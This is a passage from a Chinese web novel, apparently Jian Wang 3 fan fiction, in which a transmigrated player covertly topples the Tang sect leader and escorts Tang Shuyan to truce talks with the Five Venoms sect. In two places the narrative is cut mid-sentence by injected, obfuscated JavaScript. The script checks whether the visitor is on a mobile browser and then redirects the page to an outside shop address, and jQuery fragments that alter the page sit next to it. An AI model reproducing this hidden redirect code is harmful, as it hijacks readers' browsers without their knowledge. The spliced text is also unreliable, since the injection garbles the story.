一道含着笑意的声音从外面传来:“卦象显示小友与我宗门有缘,既能在此相见,可愿随我到衍天宗?小友也不必再受跋涉之苦。” 宗花?陆昭昭和小雪对视一眼:“这……这是可以的吗?” 萧卿云又道:“有何不可,远道而来,新生之始,小友何必困于过往?且我衍天宗并无令弟子抛弃过往所学的陈规。” 小雪晃了晃尾巴,思索片刻,在陆昭昭脑海中对她说:“侠士先照我说的问问宗花喵。” “哦,好。”陆昭昭便问,“宗花的意思是,我以后可以兼修兼用明教和衍天武学吗?” “宗花?”萧卿云可疑地顿了一下,分辨出这个莫名其妙的称谓好像是在叫他,没有追究,只答道,“自是如此,甚至不止于此。太玄经包罗万象,且小友又非独身一人,日后可达何种地步,我与师兄亦是十分期待。” 小雪心下一惊,磨了磨牙,还是道:“侠士,答应他吧喵。” “啊,那是不是还要有个正式的拜师仪式之类的,像圣火昭昭那种……” 萧卿云微微一笑:“那是回宗门之后的事,睡一觉吧,待你再度醒转,应是已在衍天了。” 陆昭昭安详地躺在宗花的小黑屋里,捂住心口,对远在西域的教主忏悔了两秒:对不起啦,教主,我心里永远有明教一席之地。 圣火昭昭,喵喵喵喵。 …… 千里之外,蜀中唐门。 唐书雁和柳静海欲往雷域大泽,中途经过唐门,不料却听到门主唐傲天,也就是唐书雁父亲在唐家堡中被妖物袭击重伤昏迷的消息。 “妖物?”唐书雁与柳静海面面相觑,都觉得此事十分怪异。 虽说已与父亲反目成仇,到底血脉相连,唐书雁手指攥起,迟疑道:“静海,我……” 柳静海握住她的手:“我陪你去。” 一行人上了问道坡,却先看到一个唐门弟子装束的人在坡上挥铲,三两下便挖出一样东西来,还自言自语道:“沉香木?好东西啊,可以收工了……咦?” 唐连星转过身,拎着铲子看向这一行人,不由睁大了眼睛:“大小姐和……柳三庄主?” 怎么比翼归鸿这对小情侣这么快就一起赶过来了? 她不是才解决了唐傲天那个老家伙吗?! 23.乱纷纷谜云罩顶 银光闪过,一只飞爪拉开竹楼二层的窗扇,黑影飞身而上,灵巧地从窗户钻入自己卧房。 唐连星甫一落地,就觉屋中有异,警惕地提起手中千机匣。 一道熟悉的声音阻了她的动作:“又去问道坡挖宝了?” “少门主?”连星松了口气,挠挠头道,“对啊,不过你放心,挖出来的坑都填平了!” 唐无影沉默两秒,从屏风后现出身形,似乎不知该如何评价她对挖宝的执着,干脆换了话题:“大伯自上次重伤后至今未醒,老太太今天同我说,让我做好准备正式接任门主之位。” “那我也就提前恭喜门主了。”唐连星真心实意地笑道,她的新手任务也能完成咯。 按理说,门主重伤,门内弟子不该是这种反应,但是连星说话间不曾流露半分对唐傲天重伤的悲伤或是愤懑,唐无影也只稍稍提点了一句:“多谢,不过这种话以后不必再说。” 连星小心试探:“那个怪物……找到了吗?” 唐无影定定看了她两秒,摇摇头:“不曾,反倒是找到了一些别的东西……我来是想告诉你,门中或许要生乱,这些时日小心点。” 连星点点头,沉思片刻后干脆把在问道坡遇见柳静海的事说了出来,还道:“柳三庄主身边还跟着个蒙面女子,看身形很像大小姐……” 唐无影用指节敲了敲桌案:“你何时见过书雁姐了?她失踪时你不过才三岁。” 连星顿了顿,若无其事地说:“那应该是三岁前见过吧,要么就是见过画像。” 唐无影只说会亲自去见他们,便从窗子中跳出去,风一般飞远了。 “少门主在这儿等我就是想提醒我注意安全?”连星有些困惑,抱起系统化身的熊猫幼崽,将脸埋进毛肚皮,“话说回来,滚滚啊,我刚刚是不是露馅了?” 听唐无影的语气,难道设定上她从来没见过唐书雁?可是他也没拆穿她…… “总觉得唐无影对我的态度一直怪怪的,但又说不上不好……” 滚滚摊成一张芝麻糯米饼,答道:“不好说,毕竟侠士撒谎的水平太差了。” 连星干笑:“不过唐傲天受伤这件事应该没人会怀疑我吧……至少没人能发现证据,我可是用尽毕生功力,连苦肉计都使上了……” 提起唐傲天此人,大概会让无数剑三玩家,尤其唐门玩家齐齐露出愤怒又嫌恶的表情,实在是这家伙继任唐门门主以来仿佛就没做过几件好事。 作为前任武林盟主唐简的独子,唐傲天心气极高,野心勃勃,因为父亲突然退出江湖,武林中群雄并起,唐门声望威名有了由盛转衰的势头,心高气傲的唐傲天如何甘心? 开元二十三年,丐帮与唐门联盟在枫华谷与明教展开决战,唐傲天却背弃自己兄弟丐帮老帮主尹天赐,暗中勾结明教,加上丐帮中另有沈眠风为报父仇亦暗通明教,以致于丐帮精锐一举覆灭,尹天赐也被沈眠风挟持入恶人谷折磨数年。 尽管唐傲天本人也在这场战争中失去双腿,唐门亦损失了不少精英弟子,可唐门因此被视为抵抗魔教的核心主力,重振声威。 又三年,唐傲天以婚事为条件,命大女儿唐书雁易名潜入同在西南的五毒教,以偷取五毒的毒蛊秘方为唐门所用,并伺机分裂五毒,好让唐门在西南一家独大。 唐书雁成功完成了分裂五毒教的任务,却也被先五毒教左长老乌蒙贵发现破绽。乌蒙贵恼羞成怒下将唐书雁炼成尸人,只是因为炼制失败,唐书雁成了还保留着原有思想的塔纳。 即便赔上了一个女儿,唐傲天的野心依然没有止息,他看中霸刀山庄大庄主柳惊涛的才干与野心,便不顾小女儿唐小婉意愿定下她与柳惊涛的婚约,后来唐小婉与心上人藏剑山庄五庄主叶凡私奔,霸刀与藏剑的关系雪上加霜。 更不必说之后为骗取穆玄英手中剑谱将其引到南诏送死,以及安史之乱爆发后私下分卖兵器给唐军与狼牙大发战争财…… 能以一己谋划搅得半个武林风波不宁,唐傲天也着实是个人物,但他行事多为私欲,常常违背侠义之道,还不顾血脉亲情,因而是个极不讨喜的角色。 作为一名唐门玩家,连星穿越前就常常许愿,希望年轻但稳重可靠的少门主唐无影能早日上位,彻底取代唐傲天,成为唐门门主。 穿越之后抱着呼呼狼狈离开野人谷,发现自己身处唐门问道坡,连星的第一反应就是:真想找机会抽掉唐傲天的轮椅,让他早日退位。 于是“善解人意”的系统十分“妥帖”为她发放了新手任务——让唐傲天下台。 抱着熊猫幼崽形态的系统,连星陷入了良久的沉默。 她点开自己的装备——一身挖宝套,首饰还是休闲装,又看了看系统界面唯一亮起的功能——因为刚好碰到呼呼而解锁的跟宠系统,甚至身体还是十几岁少男,跟她本人性别严重不符,大概也要适应一段时间。 唐连星:“……” 熊猫滚滚提醒她:“侠士如果认为自己武力不足,或许可以从唐门内部的矛盾入手,四大长老中对唐傲天不满的也大有人在……” 连星揉着手感绝佳的熊猫团子连连摇头:“不行不行,我搞不来这种弯弯绕绕,还是用最简单粗暴的办法。” “那你很有可能被发现哦,侠士。”滚滚在她手里挣扎了两下,发现逃脱不能,干脆躺平任揉,“你要是想直接刺杀门主,就得做好之后撤离的打算。而且以后恐怕就很难再光明正大地回唐门了。” 虽说唐门弟子心里可能多多少少都对唐傲天有些意见,但一门之主若被刺杀,罪魁祸首肯定不会被轻易放过。 连星看着跟宠列表若有所思:“唔,既然我解锁的是跟宠系统,除了靠卖萌迷惑敌人之外,总该有些别的用处吧。” 滚滚打了个哈欠:“可以帮忙挣钱。” “不行,抵制动物表演!没看出来你竟然是个小财迷?” “毕竟侠士平时最常进行的活动是攒金,问道坡出团点1500/2000+++++++++++” “社畜谋生不易,理解一哈嘛,而且最近的金价,那叫一个惨不忍睹……这下倒好,因为卖不出去金,穿越以后变成富婆了,嘿嘿。” 结果乐极生悲,富婆第一次破财,用来给自己治腿。 众所周知,唐家堡素有别名断腿堡,这话可不是空穴来风。 连星躺在床上咬着被子:“谁能想到玩游戏的时候就要驯化大轻功,穿越以后还要从头再来啊!而且这次是真的会断腿……” “这下连用大轻功跑路都没机会。”滚滚摊在她旁边,递来一只胖爪,“抽根赛博华子。” 连星将头埋在毛肚皮里狂吸一通,再抬头却见唐无影和唐小雪神情古怪地看着她——纠正,前者戴了面具看不见表情。 唐小雪脆生生地问:“少主,唐连星摔下来的时候磕到脑壳了吗?” 唐无影可疑地沉默了两秒,摇摇头迟疑道:“应是没有,医师不曾说他头上有伤……不过,还是再检查一次吧。” “我的头没事!”连星端正坐姿,乖巧发问,“少门主找我有什么事吗?” “没什么,就是来看看你……这段时间好好休息。” 二人来得干脆,走得也干脆,让连星很是摸不着头脑。 不过伤筋动骨一百天,虽然玩家体质特殊,血条很快就恢复满了,但若是她伤腿恢复速度不合常理,难免惹人生疑。 连星只好在床上躺了半月,后来少门主送来一架轮椅,她便和唐傲天享受了同等待遇,也正是这架轮椅,给了她新的启发。 唐小雪几乎每日都会来探望她,说些唐家堡中近来发生的趣事,连星也从和她聊天的过程中得知最近唐门密室机关又有更新,门主和长老们要前去检查。 连星几乎瞬间反应过来这是个绝佳的机会,忙问道:“我们可以去吗?” “就知道你对机关术感兴趣,少门主特意给我们留了位置。”唐小雪笑道,“不过你的腿真的没问题吗?” 连星在院子里飚了一圈轮椅:“门主都没问题,我这种临时的伤自然也不会有事。” 千载难逢的好机会,机不可失失不再来啊! “好吧,那到时候我来叫你。” 后来唐无影又找她确认了一遍,连星也是一样的态度。 唐无影无奈:“之前给你做的轮椅都被摔坏了,密室之中机关重重,你这样怎么让人放心得下?” 连星干笑:“那只是个意外……意外。” “一定要去?” 连星重重点头。 “好吧。” 连星听他同意,立刻喜上眉头,忽然听他又问:“你还记得自己的父母吗?” “啊?”连星懵了一瞬,不知道自己有什么特别的身世设定,只能装傻,“少门主怎么忽然问这个?” 唐无影沉默片刻,摇摇头:“罢了,是我不该提起此事,你自四岁起就跟在我身边,虽名义上有主从之分,实则却与兄弟无异,你若有什么心事,尽可告知于我。” 连星:我那大逆不道的心事可不敢教少门主知道…… 唐无影见她一脸茫然,也没有追问,只从怀里掏出一个面具:“之前答应给你的……我还有事要处理,就先走了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16492705|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 连星看着他背影消失在窗口,将那张唐门面具覆在脸上,不大不小正好合适。 “少门主人真好,滚滚,这样一来更想让唐傲天那个老东西下台了……不过他为什么会忽然问我的身世呢?而且从四岁就跟着他……还有这种设定?” 回答她的只有熊猫崽的呼噜声。 参观密室机关当天,连星第一次看见了她的任务目标,而为了便于照顾两位伤患,她的位置恰好离唐傲天很近。 她一边好奇地观察着唐门密室的布局机关,一边悄悄点开了跟宠列表。 一行人缓缓行至第二密室,就见中央只有个巨大的机关骰子。 连星在心里轻咦一声,悄悄跟系统说:“这不会就是后来叶凡要闯的唐门密室吧,我对这个骰子可是印象深刻,毕竟那个成就花了我足足两个小时。” “应该就是了。”滚滚答道,“侠士准备动手?” 连星还未点头,就听唐怀信不无得意地介绍:“这骰子其实便是第二密室的控制装置,配合密室可瞬间布成地芒阵、双子阵、天雷阵、四象阵、五行阵或六合阵,并在各阵中转换,令人防不胜防……”* 他说着,便启动了机关,连星犹豫片刻,在脑海中道:“现在动手的话,唐怀信嫌疑太大,他毕竟是少门主的亲祖父……再等等。” 滚滚耸耸肩:“好吧,听你的。” 直到第二密室机关展示完毕,连星都未动手,一行人继续往前,到了一处阶梯。 连星的手在召唤键上轻轻一点——去吧,大力! 唐无影正打算把连星从轮椅上背起来,却忽见一个黑影似是凭空出现,电光火石间已将连星轮椅带人一并甩飞。 他立刻飞身赶去连星身边,却又听得人群中一阵喧哗,竟是那黑影一拳砸向了唐傲天身下轮椅。 唐傲天抬手阻挡,怎料那偷袭者一拳力道重逾千斤,他身前又是下行阶梯,猝不及防受此一击,竟直接从轮椅上被击飞出去,硬生生撞到通往第三密室的机关门上。那黑影犹不解气,追上去又给了他两拳。 “门主!” “何人竟敢在唐门密室之中伤害本门门主?” “快抓住他!” “怪物!是妖怪!” 火把映出“怪物”的身形,尖鼻竖耳,身后还有条粗壮的尾巴,观其形态绝非人类。 连星眯着眼趴在少门主背上,悄悄召回了大力——袋鼠和人打拳击,那可不是普通人能承受的。 “不见了?……那怪物竟然凭空消失了!” 密室之行变成了一场惨剧,虽然唐傲天并未当场殒命,但经医师查验,唐门主的断腿雪上加霜,加之大概率在门上撞坏了头,尚不知何时能醒。 相比之下,连星福大命大,只受了些皮外伤,连先前断了的腿都没受任何影响。 外人皆不知当时究竟发生了什么,随行的唐门弟子被问及此事皆是讳莫如深。 因连星一并遇袭,还有不少人,尤其是内堡弟子来找她打探消息,都被唐无影挡了回去。 门主遇袭,唐无影忙得不可开交之际却还能顾上她,连星深受感动,无奈背包仓库都未解锁,直接拿金银出来又未免俗套,还是在系统提醒下才发现自己可以去挖宝,当晚就拎着铲子跑到问道坡挖了半宿。 第二天清早唐无影刚打开门,就收到七八条控诉,说连星莫名其妙在问道坡挖了一堆陷坑,夜巡的外堡弟子好几个因此不小心崴到了脚。 唐无影头疼地揉了揉眉心,只说会让连星去把那些坑一一填平,却因为太过忙碌,又把这件事抛在了脑后。 连星对此一无所知,正忙着把诸如宝石、沉香木、珠贝母等等品相不错的材料塞进机关小猪:“可惜精力恢复太慢,一天自然恢复的精力只够挖一铲的……” 当晚,唐无影回到卧房,忽然看见门口立着只机关小猪。 似乎是见他察觉,机关小猪张开嘴巴,吐了一地亮晶晶的材料出来,中间躺着一张纸条,上面歪歪扭扭地写着两个字“送你”,落款是几颗粗粗勾画的星子。 唐小雪来找他时,就见他难得没在处理门中事物,反而在摆弄一只机关小猪。 “少主,先前你让我搜集连星之前损坏的轮椅零件……” “此事不必再继续查了……小雪,先吩咐下去,把问道坡上的坑填了吧。” 伯父重伤昏迷,他或将提前继任门主,书雁姐、小婉妹她们可以不必漂泊在外,也许再过年时,在堡中团聚的人会更多…… 不管那人是何身世来历,从唐门大局来看,带来的总归是好事居多,不是吗? 24.雾茫茫身世有异 唐连星隔了一天才从唐小雪口中得知自己在问道坡挖宝险些惹出祸事。 幸好她后来每天只挖一铲,挖完再将土填回去不算麻烦,倒是轻功在这几日去藏宝点的路上突飞猛进,终于进化到不会摔断腿的程度。 少门主待她很好,连星本就对门派颇有归属感,穿越而来更是将唐家堡当成自己家,加上唐傲天重伤是她的手笔,百感交集之下,她还主动分担了一部分唐门生意上的事。 只是没过多久,她就在问道坡撞见唐书雁和柳静海,也不知唐无影和他们说了什么,再见面的时候,她就接到了一个任务。 那天晚上,少门主看起来十分疲惫,连星怀疑他大概知晓了唐书雁身上发生的事。 “有一项任务需要你去做。”唐无影看着她道,“那日你在问道坡遇见的人的确是书雁姐和柳三庄主,他们要去五仙教,同曲教主协商合作对抗天一教的事,之后还要去黑山林海的雷域大泽寻一样东西……连星,我需要你带一队唐门精锐去支援他们,护卫长姐。” 等等、等等……这个任务信息量太大,连星一时间没回过神。 唐书雁和柳静海一起去五毒?他们两个什么时候重逢的?塔纳和五毒之间现在不应该还是仇恨关系吗?而且雷域大泽那不是奉天证道版本的秘境吗?怎么提前了这么多? 虽说当前的发展她乐见其成,可是这……到底是怎么一回事啊! 唐无影见她表情有些呆滞,不由发问:“为何这副表情?” “没……护卫大小姐我当然义不容辞,但是……”连星回过神,“但你不是说门中即将生乱嘛,不需要我留下来帮忙吗?我虽然武艺算不上出挑,但……但是账理得好啊!” “那便等你回来再帮我理账吧。”唐无影按住微微上扬的嘴角,“你也到了该出去看看的年纪,跟着书雁姐和柳三哥,我更安心,还有,习武不可落下,我会让书雁姐监督你。” “好嘛,我知道了。”连星答道。 “除此之外,如若五仙教教主并不排斥,你可代我向曲教主表露唐门与五仙修好之意。” “哦……啊?”连星指了指自己,“我可以吗?” 她现在从外表上看只是个十一二岁的小少年啊! “这件事我已经告知长姐,你若做得不妥,她自会纠正,不过我相信你有这个本事……收拾一下快些出发吧。”唐无影说着,将一只机关小猪放在了桌上,“东西我收下了,这个物归原主,在外面警醒一点,万事小心。” 次日一早,连星背着包袱带着一队唐门精英在问道坡下同唐书雁、柳静海会合,一行人继续南下,往五仙教出发。 五仙教在中原武林人士口中多为五毒教,是个极为神秘的门派,因着地处偏远,又有苗汉宿怨,过去五仙教教众往往不常涉足中原。 现任教主曲云乃是前教主魔刹罗与东海侠客岛岛主方乾之女,曲云一岁那年方乾为与剑圣比武不辞而别,魔刹罗托右长老艾黎将曲云送至忆盈楼,后来成了名扬天下的七秀之昭秀。 曲云十八岁那年,魔刹罗被左长老乌蒙贵囚禁,让艾黎寻回曲云,后来经历了因正邪之分被昔日爱人闭门不见、接任五仙教教主之位后因心法冲突身形变小、左长老乌蒙贵叛乱、师弟孙飞亮为她跳下万蛊池……诸多坎坷之下,方成今时今日的五仙教教主。 “她其实也很不容易……”唐书雁望着头顶几乎透不出阳光的茂密树冠,轻声道,“我本应最清楚不过,乌蒙贵的天一教才是罪魁祸首,剩下的五仙教教众和曲云都是无辜的……” 可塔纳日日饱受煎熬,生命无时无刻不在死亡边缘徘徊,已是一群完全靠往昔回忆与刻骨仇恨支撑着的不人不鬼的存在,是五毒教创造了炼制尸人之法,自然也成了仇恨的目标。 如果没有与柳静海重逢,没有在他面临危险时忍不住迈出那一步,她大概还是一具只能用仇恨作希望的行尸走肉,可是现在,她抓住了新的希望。 那份希望不止可以救下她一人,还可以救下五仙潭几千塔纳部众,为此,她需要也应该与如今的五仙教早日和解,或许也算……为她曾经的过错赎罪。 柳静海始终握着她的手,无声的安慰沿着手上皮肤熨帖至心底。 就在这时,连星忽然停住脚步:“前面有东西。” 焦点列表已经出现了几个红名,赫然是天一教炼制的大毒尸。 “此处应是药王谷地界……”唐书雁纵身跃上树梢,肃容道,“是天一教的。自从乌蒙贵叛出五仙教自立天一教,便时不时来此侵扰,塔纳所在的五仙潭也深受其害。” 一名唐门弟子迟疑道:“这些毒尸……” 唐书雁苦笑一声:“他们是乌蒙贵口中成功的实验品,没有意识和情感,大概也已经没有被救的希望了。” 柳静海拔出刀,对随行的霸刀弟子下令:“既是如此,便早日送他们去往生吧,想必这些受害者若有意识,绝不愿助纣为虐,为虎作伥。” 唐书雁点点头:“若解了药王谷之围,也可以作为与五仙教修好的信号。” 药谷被围,前哨营地的五毒弟子正在用蟾蜍抵御毒尸攻击,同时等待教中来援,忽听得外围传来一阵喊杀声,近前毒尸的攻击似乎也变弱了。 为首的五毒弟子吴迪连忙高喊:“杀了那些手持法杖的蒙面人!他们是操纵大毒尸的蛊师,留心他们身上的蛊毒解药,有同门中了蛊毒!” 他用的苗语,外面不管是河朔还是蜀中来的汉人都听不懂。 一名霸刀弟子一刀砍倒一个蒙面人,困惑地挠了挠头:“里面叽里咕噜喊什么呢……” 滚滚抱着唐连星的腿提醒道:“侠士,看看近聊频道。” “哦,他在说这些蒙面人身上可能有蛊毒解药……有五毒弟子中毒了。”连星说着,随手摸了把尸体,就从那蛊师怀中掏出一包不知是什么的药。 “应该就是这个。”唐书雁走过来,挑眉问,“你听得懂苗语?” 连星迟疑片刻,点了点头,虽然是系统的金手指,但……就当她听得懂吧。 “那待会儿同五仙教弟子交涉,就交给你了。”唐书雁道,“怪不得无影派你来。” 不等连星答话,她便又冲到前方杀毒尸去了,根本不曾注意到连星挽留她的手。 唐连星:大小姐,我只会听不会说啊! 没过多久,吴迪便看清了援军的真面目,可是结果却让他大惊失色:“汉人?还有塔纳?” 长久以来的宿怨让他对这群莫名出现在药王谷的汉人十分警惕,不等他再度开口,便见那塔纳女子将一个模样俊俏的汉人少年推到他面前。 那少年难为情地笑了笑,问道:“请问……你会说汉话吗?苗语我只会听不会说。” 唐书雁一时失言,随后竟笑了笑:“倒是我冒昧了。” 吴迪却顾不上她们之间有什么误会了,主动用汉话问:“多谢诸位出手相救,只是不知你们来此所为何事?” 连星看了眼唐书雁,却被她示意继续与这五毒弟子交谈,便坦诚道:“呃,其实我们只是路过,本来是要去五仙潭的。” “这么说……你们果然是塔纳的人?”吴迪问完,警惕地看向唐书雁。 唐书雁仍不开口,连星只好道:“这位便是塔纳首领,外出归来路过此地,并无恶意。贵教教主向来有与塔纳和谈共抗天一教之意,如今塔纳亦有此想法,不知阁下能否将此事上报曲教主?” “这……”吴迪有些犹豫,“此事干系甚大,需待我秉明教主,方知晓结果。” “理当如此。”唐书雁淡淡道,“你可以告诉曲云,和谈的时间地点均可由她决定,这是塔纳能拿出的诚意。待她确定后,传信五仙潭即可。” 连星又拿出从那些蛊师身上搜来的药品:“蛊毒解药应在其中……请阁下自行查验。” “我们走吧。”唐书雁说罢,便往药谷营哨外走去。 吴迪和其他仙教弟子望着这一行人远去的背影,不约而同有了风云将变的预感。 之后一路未曾遭受其他袭击,抵达五仙潭后,唐书雁让众人先在潭边驻扎一段时间,她先前只传信给几位心腹,言说或有平安解除尸咒之法,也提及了与五仙教议和之事,却还不知晓其他人是何想法,因此不便贸然带正常人进入塔纳聚居之地。 “我和你一起去。”柳静海依旧紧跟着她,“总要让他们也看见希望,不是吗?” 要让塔纳众人知晓,世上总会有人依旧惦念着他们,不离不弃,永远相随——这样的希望,比源于仇恨的那种温暖得多。 连星无比满足地捂住了心口,目送他们离开后环顾了一下四周,想起今天的一铲还没挖,罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不过那个隐藏任务到底是什么啊……”连星边往回走边冥思苦想,“难道是跟塔纳和五毒有关?或者天一教?唔,附近好像还有香巫教和南诏……可恶,总觉得事情没这么简单,任务名竟然还被屏蔽了……” “为什么不猜是唐门那边呢?毕竟是新手任务结算的时候提醒侠士触发了隐藏任务。” “难道是促成唐门和五毒的联合?”连星说完又摇摇头,“可如果是的话,为什么不在少门主交给我这个任务的时候发放呢?” “如果是唐门内部……新手任务成功就意味着唐无影已经正式成为唐门门主,他之前说可能会生乱,也不知道现在堡中情况如何……”连星有些担心,却也安慰自己,“不过他聪明又稳重,为人侠义又有大局观,总感觉就算是那几位长老同时发难也难不住他……” 回到营地之后,连星依旧一副心事重重的模样,这次随行的唐门弟子皆与她相熟,且知道她每天必会挖宝一次且每次必定能挖出些东西的神奇体质,纷纷善意调侃:“连星这次又挖到了什么宝贝啊?” 连星将一个青铜宝箱放到地上:“我也不知道里面装了什么,而且没有钥匙……” 她还没说完,就见一位同门将一根细丝伸到锁孔中随意摆弄了几下,青铜宝箱便被成功打开了,里面装着一根紫檀。 连星睁大了眼,立刻把紫檀塞给那位同门:“哥,能教我学这个吗?” “这不是我们的基本功?少主连这个都没教你学?”那名唐门弟子挠了挠头,不大好意思地收下了紫檀,“不过你可能确实也不太用得着……” “不不不,我觉得这很有用,可能就是因为太基本了少主没想起来。” “好吧……” 也许是唐门于此道天赋异禀,连星很快就学会了万能开锁技术,畅快地连开二十多个宝箱,结果到最后发现自己的物品栏不够了——穿越而来只有原本放在快捷栏的物品能用,连星还要庆幸自己之前没在里面放多少东西。 “要不再把一些材料塞进机关小猪里?”她把离开唐门前唐无影还给她的那只机关小猪从物品栏取出来,“也不知道为什么这只小猪不能召回跟宠系统里了……” 连星如之前一般打开机关小猪背部的暗格,却发现里面竟然躺着一张面具和一个纸条。 她心有所感,立刻展开那张纸条,却见上面写着一行小字—— “若有寻亲之念,或可往太白山。” 25.(倒V)坦荡荡干戈化玉 “太白山……太白山……” “太白山怎么了吗?”树下传来唐书雁的声音。 连星心下一惊,从树上跳下来,急中生智道:“没什么,我只是在背太白先生的《蜀道难》,西当太白有鸟道,可以、可以……” “可以横绝峨眉巅。”唐书雁接了一句,笑道,“你若喜欢诗词,大概跟我二弟无言聊得来,我们唐家和长歌门杨家是世交,青莲剑仙便在长歌门中,以后有机会让无言带你去。” 唐连星眨眨眼,心里不由想:其实以后很有可能是无寻少爷跟长歌关系更近,毕竟欲饮琼浆风酿酒,一枝红杏出墙来……咳咳。* 这话她自是不敢说,不过面前的唐书雁倒是比往常更有亲和力了,几乎看不出塔纳的愤恨与仇怨,连星不由问:“大小姐,可是有喜事?” 唐书雁晃了晃手中书信:“塔纳众人已同意和谈之事,曲教主也足够光明磊落,竟直接将和谈地点定在了五仙潭,这大概也是她向我们展现的诚意。” “那可太好了!”连星也不由心中欢喜,又提醒道,“不过这里毕竟离天一教所在地比较近,还要提防那乌蒙贵派人前来阻挠和谈。” 唐书雁看了眼黑龙沼的方向,轻嗤一声:“乌蒙贵若是敢派人来,焉知不会成为塔纳与五仙教合作的助力。放心,我与曲教主都心中有数。” 和谈当日,曲云坐在德夯肩上,带着五仙教左右长老及五圣史一起抵达了原本的五仙教总坛,便是如今已被塔纳攻占的五仙潭。 而现在,这里不只有皮肤青紫的塔纳,还多了些或紫衣貂裘或头戴面具的汉人。 风蜈使纳罗警惕地打量着这些显然出自中原武林门派的汉人,问:“教主,为何还有如此多的汉人?” “这是中原霸刀山庄与唐门派来见证我五仙教与塔纳和谈的弟子。”曲云解释道,“此外,近来我收到教外弟子来信,中原竟也有尸人毒人出现,想必是乌蒙贵的天一教为祸武林。可惜汉人大多不知苗疆之事,此番也教他们辨明仙教清白,号召武林共抗天一。” 右长老艾黎叹了口气:“乌蒙贵如此行径,一则因他对汉人恨之入骨,二则怕也是想从中原积蓄力量,卷土重来图谋仙教传承与教主之位。” 曲云又道:“如此一来,天一教之事早已不仅限于我五仙教内务,往后或许还会有与汉人侠士合作之机,此事你们暂且记在心中。” 其余人都点头应是,可藏在阴影下的面容却透着各不相同的心思。 霸刀与唐门弟子事先得了唐书雁提醒,知晓五圣使中有一人浑身带毒无法控制,便只远远对她们行了一礼,便继续在周围巡视了。 五圣使也不直接参与和谈,而是在门口守卫,进入屋内的只有曲云、德夯孙飞亮以及左右长老四人,塔纳一方则有唐书雁及慧法、孙维疆二位塔纳将军以及柳静海和连星在场。 连星这次需代表唐门参与和谈,不过趁着和谈还未正式开始,她悄悄开了驭兽,变成麻雀喳喳藏在了树冠里,目光不由自主地落到五圣使中的两个人身上。 风蜈使纳罗与天蛛使容夏,前者是宇文化及后裔,复国之心未死,加入五毒的真实目的是为用蛊术操控人心,借机复仇;后者因蛊毒反噬而全身散发毒气,寻常人不得近其十步之内,因此几乎与情爱无缘,也由此不愿见青年男女言行亲密。 此二人会在若干年后因为某个契机判出五仙教……连星已经不太记得她们叛教的导火索为何,只记得她们日后会偷练毒功,甚至拿五毒弟子与塔纳做实验。 她正沉思着,容夏忽然猛地转过头来,麻雀连星当即低下头,装作在梳理羽毛的样子。 “你怎么啦,容夏姐姐?”阿幼朵一并回头,好奇地顺着她的视线向后张望,却也只看到一只胖乎乎的灰麻雀,“咦?好胖的小鸟!” 她灵动的眼睛转了转,不多时,连星便觉得后背一阵发凉,回头一看,周围树枝上竟不知何时爬满了身形灵巧的小蝎子,吓得她连忙挥着翅膀飞起来,又险些因为体重坠机,最后慌慌张张一头扎进树冠深处,暂时避开了蝎子大军。 “嘻嘻,真有意思。”阿幼朵笑声清脆,可惜那只胖麻雀再未出现,她也只好把自己养的蝎子召了回来。 “你呀,对只灰麻雀都不忘恶作剧。”玉蟾使凤瑶在她脑门轻轻弹了一记,“今天与塔纳议和乃是大事,别只顾着玩儿,我们得多留心些周围异动。” 阿幼朵笑嘻嘻地捂住额头:“反正还有那些汉人侠士嘛,我还没见识过他们的武功呢。” 灵蛇使纳尤也笑道:“无妨,五仙潭周围我已安排弟子巡查,天一教若敢此刻来犯,定要他们有去无回。” 容夏环顾四周,还是觉得方才那种被人窥视的感觉并非错觉,抿了抿唇道:“我去林子里看看,顺便放天蛛去探察。” 不等其他人答话,她便离开了原地。 其余四人面面相觑,纳尤和凤瑶都轻轻叹了口气,阿幼朵迟疑道:“容夏姐姐……” “我去看看她吧。”纳罗主动说道,便也追着容夏离开了。 连星将这一幕尽收眼底,不过和谈已然开始,她便结束驭兽召回了喳喳。 片刻后,一只天蛛从树梢垂下,在空无一鸟的树枝上停留片刻,又往别处去了。 连星还不知道自己刚刚逃过一劫,全副身心投入到和谈当中。 曲云等人原本还有些疑惑唐书雁为何会这般突然地转变态度,可见到举止亲昵几乎与她形影不离的柳静海,忽然明了一部分原因。 不过唐书雁给出的另一条线索还是让他们吃了一惊。 曲云与艾黎长老对视一眼,不由问:“黑山林海的雷域大泽内或许有治愈塔纳的线索……不知这个消息唐姐姐是从何处得来?” 唐书雁面对五毒之人还是难免恨意丛生,这种心情甚至非她本人可以控制,幸而此刻她并非孤身一人,还能保持冷静:“消息来源恕我无可奉告,但那人与苗疆应当并无牵连,只是偶然知道一些五仙教旧事。” 其实说到底,就连她自己也不敢对这个消息抱有十分希望,若再蹉跎数年,她恐怕早已心如死灰,更不会轻易相信还有得救之法,可是现在距离她被炼制成塔纳不过两三年,加上还有静海从旁劝说,不论希望多微渺,她都想试一试。 “我化名阿若在仙教潜伏时,也曾听说过五仙教与香巫教的宿怨,亦知晓那雷域大泽乃是香巫教圣地。”见曲云面露迟疑,唐书雁又道,“若是仙教不愿出手,我只愿求雷域大泽地图一用,此行若有收获,抄录的碑文残卷与一路上除掉的香巫教之人,就当作报酬。” 曲云不由望向艾黎,后者则看着唐书雁,语气分辨不出喜怒:“唐姑娘卧底期间竟然连雷域大泽地图这等机密之事都探听得到,真是后生可畏。” 孙维疆面露恼意:“艾黎,你——” “孙将军。”唐书雁按住他,平静开口,“书雁自知过去所为无从分辩,为着自己少时的一片痴情致使五仙教分崩离析是我之过,后来身陷塔纳大约也算是报应不爽。” 